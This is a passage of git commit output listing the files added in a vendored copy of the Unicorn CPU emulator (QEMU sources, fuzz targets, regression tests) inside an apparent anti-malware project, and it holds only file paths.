ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/arm-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/armeb-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/m68k-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64el-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mipsel-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc64-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/x86_64-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/docs/memory.txt create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/exec.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-macros.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-specialize.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/gen_all_header.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/glib_compat.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/header_gen.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/machine.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/qdev.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/i386/pc_piix.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/intc/apic_common.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/m68k/dummy_m68k.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/addr.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/cputimer.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/mips_r4k.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/leon3.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/sun4u.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/config.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/elf.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/address-spaces.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-all.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-common.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-defs.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst_template.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cputlb.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/exec-all.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/gen-icount.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-gen.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-head.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-proto.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-tcg.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/hwaddr.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ioport.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory-internal.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ram_addr.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/fpu/softfloat.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/glib_compat.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/boards.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/cpu/icc_bus.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/hw.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic_internal.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/pc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/m68k/m68k.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/cpudevs.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/mips.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev-core.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/sparc/sparc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/dealloc-visitor.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/error.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-input-visitor.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-output-visitor.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qbool.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qdict.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qerror.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qfloat.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qint.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qjson.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qlist.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qobject.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qstring.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/types.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/string-input-visitor.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor-impl.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu-common.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/aes.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/atomic.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitmap.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitops.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bswap.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/compiler.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/crc32c.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/host-utils.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/int128.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/log.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/module.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/osdep.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/queue.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/range.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-posix.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread-win32.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/thread.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/timer.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/typedefs.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/object.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/qom-qobject.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/accel.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/cpus.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/memory_mapping.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/os-win32.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/sysemu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/ioport.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/m68k.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/memory.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/memory_mapping.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/mips.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/mips64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/mips64el.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/mipsel.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-dealloc-visitor.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-visit-core.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-input-visitor.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-output-visitor.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qapi/string-input-visitor.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qemu-log.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qemu-timer.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qbool.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qdict.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qerror.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qfloat.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qint.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qlist.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qstring.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qom/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qom/container.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qom/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qom/object.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/qom/qom-qobject.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/rules.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/create_config create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/ordereddict.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-build.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-schema.json create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-types.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi-visit.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi/common.json create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/softmmu_template.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/sparc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/sparc64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/arm_ldst.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu-qom.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/crypto_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/internals.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/iwmmxt_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/kvm-consts.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/neon_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_addsub.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/psci.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate-a64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_aarch64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_arm.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/TODO create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/arch_memory_mapping.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cc_helper_template.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu-qom.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/excp_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/fpu_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/int_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/mem_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/misc_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse_header.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/seg_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/shift_helper_template.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/smm_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/topology.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/translate.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu-qom.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/m68k-qreg.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/op_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/qregs.def create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/translate.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/TODO create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu-qom.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/dsp_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/lmi_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/mips-defs.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/msa_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/op_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate_init.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/TODO create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cc_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu-qom.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/fop_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int32_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int64_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/ldst_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/mmu_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/translate.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/vis_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/win_helper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg-runtime.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/LICENSE create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/README create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/TODO create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/optimize.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ppc/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-ldst.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-null.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-op.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-opc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-runtime.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/unicorn_common.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/aes.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/bitmap.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/bitops.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/crc32c.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/cutils.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/error.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/getauxval.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/host-utils.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/module.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-posix.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-win32.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-error.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-posix.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-win32.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-timer-common.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/util/setjmp-wrapper-win32.asm create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/vl.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/vl.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/x86_64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/samples/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/samples/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/dlcorpus.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu.options create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_arm.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_armbe.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_arm.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_armbe.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_thumb.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_m68k_be.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32be.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32le.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_sparc_32be.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_16.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_32.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/gentargets.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onedir.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onefile.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/001-bad_condition_code_0xe.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/002-qemu__fatal__unimplemented_control_register_write_0xffb___0x0.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/003-qemu__fatal__wdebug_not_implemented.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/004-segmentation_fault_1.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/005-qemu__fatal__illegal_instruction__0000___00000404.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/006-qemu__fatal__illegal_instruction__0421___00040026.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/00opcode_uc_crash.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/LICENSE create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm64_reg_rw_w0_w30.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_apsr_access.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bx_unmapped.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bxeq_hang.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_enable_vfp.c create mode 100644 